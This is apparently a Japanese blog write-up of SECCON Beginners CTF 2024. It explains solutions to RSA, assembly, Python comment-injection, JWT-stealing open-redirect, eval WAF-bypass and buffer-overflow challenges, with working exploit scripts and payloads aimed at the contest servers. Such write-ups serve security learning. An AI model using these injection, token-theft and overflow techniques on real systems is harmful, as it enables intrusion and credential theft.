SECCON beginners CTF 2024 writeup
二人チームで参加して、962チーム中37位でした。何年か参加していて年々順位が少し上がっているのでうれしい限りです。
ということで今回自分が解いた、もしくはタッチした問題の解説をしていきます
Crypto(暗号系)
Safe Prime
import os
from Crypto.Util.number import getPrime, isPrime
FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')
while True:
p = getPrime(512)
q = 2 * p + 1
if isPrime(q):
break
n = p * q
e = 65537
c = pow(m, e, n)
print(f"{n = }")
print(f"{c = }")
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
暗号の作成コードとn
とc
が書かれたテキストファイルが与えられます。
見るとRSA暗号の様ですが、鍵の作成に使用されるqという素数が
ここで、
この変形から
よってexploitコードは以下のようになります
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e=65537
# 二分探索でpとqを求める
import bisect
class x:
def __getitem__(self,key):
return 2*key*key+key
p=bisect.bisect_left(x(),n,hi=n)
q=2*p+1
print(f"p={p},q={q}")
assert p*q==n
from Crypto.Util.number import *
phi = (p-1)*(q-1)
d=inverse(e,phi)
print(f'秘密鍵d = {d}')
# 平文を復元
m = long_to_bytes(pow(c, d, n))
print(m)
実行結果
p=12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393,q=24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787
秘密鍵d = 39708359129641443307492926100992797066513141179030677891758514628508737985246704498466008928936892308997404004807565975772999777485812695283579245196783778323738791447502633741922324004329254388584281471915351492843056669699641816744092900248208019906808318158844028513688595509549095747037229327819378712257
b'ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}'
math
問題より以下のコードが与えられます
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
x,
p,
q,
) # x, p, q are secret values, please derive them from the provided other values.
import gmpy2
def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n
assert isPrime(p)
assert isPrime(q)
assert p != q
a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)
n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")
# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
コードを見ると
最後の assert
分から
ここで、 factordb
に投げ込んでみると素因数分解をしてくれました。
素因数の数が十分少なかったので、そこから総当たりで
use_factors=[3,173,199, 306606827773,35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661,4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169]
n=28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
def binarySearch(X, target, left, right):
while True:
mid = (left + right) // 2
if X[left] > target:
return left
if X[right] <= target:
return right
if left == right:
return left
if X[mid] > target:
right = mid - 1
else:
left = mid
right = right - 1
class myclass():
def __init__(self,a,b):
self.a=a
self.b=b
def __getitem__(self,key):
return (self.a+key)*(self.b+key)>n
l=len(use_factors)
for i in range(1<<l):
a=1
b=1
for j in range(l):
if i&(1<<j):
a*=use_factors[j]**2
else:
b*=use_factors[j]**2
idx=binarySearch(myclass(a, b),0,0,10**700)
if (a+idx)*(b+idx)==n:
print("p=",a+idx)
print("q=",b+idx)
exit()
後はいつも通りpとqから平文を復元します
reversing
assemble
とても教育的な問題で、言われたとおりにアセンブラを書くだけです。
単純に勉強になったので今回のCTFで一番好きな問題でした。
指定されたサイトにアクセスすると以下のような画面が開きます。
25命令以内で、mov,push,syscall命令を使ってお題をクリアしましょうとのこと
1問目
Please write 0x123 to RAX!
mov命令は代入のようなもので、RAXというレジスタに0x123を代入します。
mov rax, 0x123
この内容を入力してRunをクリックすると二問目が表示されます。
2問目
Challenge 2. Please write 0x123 to RAX and push it on stack!
2問目は0x123をstackにプッシュします。
stackというのはローカル変数の置き場所のことです。
raxのようなレジスタはせいぜい10個しかないのでほとんど値を保存できないのでプログラムはstackという場所に変数を保存しています
mov rax,0x123
push rax
3問目
Challenge 3. Please use syscall to print Hello on stdout!
print("Hello")
をしましょうというお題
これは以下のような方針で解きます。
- Hello をエンディアンに注意し文字コードを調べてレジスタに配置
- write syscallを用いて標準出力にHelloを表示
mov rax, 0x6f6c6c6548
push rax
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 5
syscall
Helloの文字コードは左から順に0x48, 0x65,0x6c,0x6c,0x6fとなります。逆順に配置し、stackにプッシュします。
後はsyscallを呼ぶ準備ですが、write syscallの定義は以下のようになっています。
システムコール番号(rax) | 名前 | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
1 | write | unsigned int fd | const char *buf | size_t count |
syscallを呼ぶときはraxにシステムコール番号を入れて、引数を順にrdi,rsi,rdxに入れる必要があります。
rax
システムコール番号である1をセットします
rdi
fdはファイルディスクリプタとなり、標準入力が0,標準出力が1,標準エラー出力が2,その他のファイルはopen system callにより与えられます。今回は標準出力なのでrdiに1をセットします。
rsi
bufへのポインタを渡します。rspというレジスタは常にstackの一番上のポインタを指すため、最後にpushした文字列が入っています。なので、rsiにrspの値をセットします。
rdx
今回はHelloの5文字を出力するため5をセットします。
4問目
Challenge 4. Please read flag.txt file and print it to stdout!
最後の問題です。flag.txtを読み込んで中身を表示します!
今回は3つのsyscallを使用します
- open syscallでflag.txtを開く
- read syscallでファイルから文字を読み込む
- write syscallで読み込んだ文字を標準出力に書き込む
関連するsyscall
システムコール番号(rax) | 名前 | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
0 | read | unsigned int fd | char *buf | size_t count |
1 | write | unsigned int fd | const char *buf | size_t count |
2 | open | const char *filename | int flags | umode_t mode |
戻り値はraxに保存されます。 |
mov rax, 0x00
push rax
mov rax, 0x7478742e67616c66
push rax
mov rax, 2
mov rdi, rsp
mov rsi, 0
syscall
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 52
syscall
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 52
syscall
注意点
今回はopen syscallにflag.txtを渡しますが、open syscallは文字列の長さを知らないため、終端文字(\0) を追加する必要があります。
stackというデータ構造は後にpushしたものが上にくるため、0x00,0x7478742e67616c66の順にプッシュすると以下のような状態になります。
文字列は上から読み込まれるので、逆順でプッシュする必要があります。
そして、0をプッシュしていない場合は他の値がstackの下に他のタイミングで使った内容が入っているので、意味不明な文字列が後ろにくっついてしまいます。
クリア!
ここまで正解するとflagが表示されます!うれしかったです
misc
clamre
渡されたファイルの中にflag.ldbというファイルがあり、内容は以下の通りです。
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
これは、調べてみるとclamscanというウイルススキャン用のコマンドのカスタム定義の様です。
\x63\x74\x66がctfという文字の文字コードに対応しているのでこのファイルに書いてある内容を読み取れればよさそうです。
ChatGPTに質問して文字コード部分を復元、ChatGPTは正規表現のキャプチャの対応付けができていなかったのでそこを自力で修正したら通りました。
commentator
サーバ側で以下のコードが実行されているので、サーバ上にあるflag.txtを読み取れ問う問題です。
python = ""
while True:
line = input(">>> ").replace("\r", "")
if "__EOF__" in line:
python += 'print("thx :)")'
break
python += f"# {line}\n" # comment :)
pyfile = f"/tmp/{uuid.uuid4()}.py"
with open(pyfile, "w") as f:
f.write(python)
os.system(f"python {pyfile}")
os.remove(pyfile)
コードを読むと自分の入力が、すべてコメントとしてpythonコードとして読み込まれるようです。
1行目もコメントであることを考えると。ファイルの文字コード指定のマジックコメントが書けそうです。
最終的に以下のような内容を入力するとflagを奪取できました
# coding: raw_unicode_escape
\u000aimport os
\u000aos.system("ls")
\u000aos.system("ls ../")
\u000aos.system("cat ../flag-437541b5d9499db505f005890ed38f0e.txt")
__EOF__
coding: raw_unicode_escapeと認識させることで、\u000aを改行と認識させることができ、# \u000aimport os
という行が #
とimport os
の二行と認識され、任意のコードが実行可能になります。
ここにたどりつくまでにヘブライ語の文字コードなら行けるんじゃないかなど外国語の文字コードを試行錯誤して時間を溶かしてしまいました。
web
woorker
与えられたWebサイトにアクセスしてみる。
ログイン機能
https://wooorker.beginners.seccon.games/login?next=/
というパスでゲストとしてログインすると https://wooorker.beginners.seccon.games/?token=ey...
に遷移した。
next=の先を https://example.com
などに変更すると外部サイトにも移動できる
flag表示機能
adminのJWTトークンをGETパラメータに指定した状態で、/
にアクセスするとflagが表示できる
botログイン機能
URLをフォームに入力するとボットがAdminとしてログインをしてくれる機能
解法
パブリックなHTTPサーバを立てて、botログイン機能を用いて login?next=自分のサーバ
とすると、AdminのJWTトークンがGETパラメータとして自分のサーバのログに保存されるため、そのJWTトークンを使用して /
にアクセス
woorker2
与えられたWebサイトにアクセスしてみる。
wooorkerと基本同じだが、今度はGETパラメータではなくアンカーにflagが書かれているようだ。
ログイン機能
https://wooorker.beginners.seccon.games/login?next=/
というパスでゲストとしてログインすると https://wooorker.beginners.seccon.games/#token=ey...
に遷移した。
next=の先を https://example.com
などに変更すると外部サイトにも移動できる
flag表示機能
adminのJWTトークンをアンカーに指定した状態で、/
にアクセスするとflagが表示できる
botログイン機能
URLをフォームに入力するとボットがAdminとしてログインをしてくれる機能
解法
パブリックなHTTPサーバを立てて、botログイン機能を用いて login?next=自分のサーバ
とすると、AdminのJWTトークンがアンカーとして設定された状態でアクセスされるが、HTTPのリクエスト上にはアンカーが表示されない。
そのため、アンカーを読み取って #
を削除し、そのパスにリダイレクトするようなjsを含むHTMLを返すことでログにアンカー情報を記録する
flagAlias
問題文にあるWebサーバで以下のようなコードが動いている
import * as flag from "./flag.ts";
function waf(key: string) {
// Wonderful WAF :)
const ngWords = [
"eval",
"Object",
"proto",
"require",
"Deno",
"flag",
"ctf4b",
"http",
];
for (const word of ngWords) {
if (key.includes(word)) {
return "'NG word detected'";
}
}
return key;
}
export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
const m: { [key: string]: string } = {
"wonderful flag": "fake{wonderful_fake_flag}",
"special flag": "fake{special_fake_flag}",
};
try {
// you can set the flag alias as the key
const key = await eval(waf(alias));
m[key] = flag.getFakeFlag();
return JSON.stringify(Object.entries(m), null, 2);
} catch (e) {
return e.toString();
}
}
const handler = async (request: Request): Promise<Response> => {
try {
const body = JSON.parse(await request.text());
const alias = body?.alias;
return new Response(await chall(alias), { status: 200 });
} catch (_) {
return new Response('{"error": "Internal Server Error"}', { status: 500 });
}
};
if(Deno.version.deno !== "1.42.0"){
console.log("Please use deno 1.42.0");
Deno.exit(1);
}
flagがflag.tsのファイル内のコメントとして記述されている。
このサーバは自分が書いたコードをevalしてくれるが、wafという関数で示されたキーワードを指定できないようだ。
解法
1回目のevalでwafを無効化
2回目のevalで関数名を取得
3回目のevalで関数のコードを表示
waf=(key)=>{return key}
Object.keys(flag)
flag.getRealFlag_yUC2BwCtXEkg.toString()
toStringって関数のコード表示してくれるんですね...
pwn
simpleoverflow
C言語で書かれた以下のようなソースコードがあります。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
read関数にはバッファオーバーフローの脆弱性があるため10文字以上入力するとis_adminが書き換わってしまいます。
aを10文字以上入力してやればよいです。
もうちょっと詳しく
C言語におけるローカル変数はstackに順番に積まれています。
今回の場合は、stackの上から順にbufが10バイト、is_adminが4バイトと並んでいます。
C言語における入力関数 readやscanfは文字列長のチェックをしないため、10バイト以上入力すると後に配置されている変数も書き換わってしまうことがあります。これをバッファオーバーフロー(BOF)と呼びます。
simpleoverwrite
次もC言語で書かれた実行ファイルに対する脆弱性です
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
char buf[100];
FILE *f = fopen("./flag.txt", "r");
fgets(buf, 100, f);
puts(buf);
}
int main() {
char buf[10] = {0};
printf("input:");
read(0, buf, 0x20);
printf("Hello, %s\n", buf);
printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
今度は使われていないwinという関数があり、その関数を呼べばよいようです。
main関数のリターンアドレスをwinのアドレスで書き換えてしまえばよさそうです。細かい配置がどうなってるか上手に計算できないので総当たりをしています。
from pwn import *
import pwn
import ptrlib
chall = ELF("chall")
def exploit(i):
io = remote("simpleoverwrite.beginners.seccon.games", 9001)
payload=b"A"*i
payload += p64(chall.sym["win"])
io.sendline(payload)
io.interactive()
for i in range(10,100):
exploit(i)
もうちょっと詳しく
C言語におけるローカル変数はstackに順番に積まれています。
さらに、関数呼び出し時には関数がどこから呼び出されたかをStackに積んで、あらたにその関数内のローカル変数を積み始めます。そのため、Stackを破壊し、関数がどこから呼び出されたのかという情報を書き換えることで想定されていない関数を呼び出すことができます。
終わりに
今回はいつもよりスコアが良かったのでうれしかったですが、CTFと言えば!のpwnが弱いところを克服したいなと思います(毎回言ってる)
Discussion